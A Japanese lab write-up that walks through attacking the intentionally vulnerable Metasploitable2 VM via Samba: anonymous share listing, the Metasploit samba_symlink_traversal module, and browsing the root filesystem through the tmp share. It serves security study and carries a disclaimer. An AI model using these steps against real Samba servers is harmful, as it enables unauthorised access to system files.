はじめに
「ハッキング・ラボのつくりかた」p.393-398を参考にした記事です。
Metasploitable2では、Sambaサービスが稼働し、ポートも開いているので、これを足がかりにしてハッキングを行ってみます。
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
Sambaにアクセス
smbclient -L //192.168.56.5
パスワードの入力を促されるが、でたらめなものでもログインできる。
上の画像の項目"Sharename"の共有名tmp(コメント"oh noes!")を攻略する。
Sambaの共有フォルダ外へのシンボリックリンクについての設定項目wide linksを有効(smb.confの項目をyesに設定)すれば、共有フォルダ外へのシンボリックリンクをたどった先のディレクトリ内のファイルのパーミッションが777に設定されていれば、その共有フォルにアクセスできるユーザーはファイルが実行できる。
確認のコマンドは次の通り.まだ、Metasploitable2とKaliLinuxとの間にセッションが確立していないので、Metasploitable2上でコマンドを実行する。
man 5 smb.conf | grep "wide links"
ディレクトリトラバーサル
wide linksが有効であれば、ディレクトリトラバーサル(本来アクセスできないディレクトリにアクセスする)を実行するMetasploitのモジュールを利用できる。
use auxiliary/admin/smb/samba_symlink_traversal
set rhost 192.168.56.5
set smbshare tmp
exploit
tmpがマウントされ、rootfsもリンクされた。
smbclient
コマンドでアクセスできる。パスワードは何も入力しなくても良いし、でたらめなものでもOK。
smbclient //192.168.56.5/tmp
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> cd rootfs
smb: \rootfs\> ls
"/etc/samba/smb.conf"を見ると、readonlyが"yes"で、guest okが"yes"となっている。
[tmp]
comment = oh noes!
read only = no
locking = no
path = /tmp
guest ok = yes
[opt]
read only = yes
locking = no
path = /tmp
機密性が脆弱な設定となっている。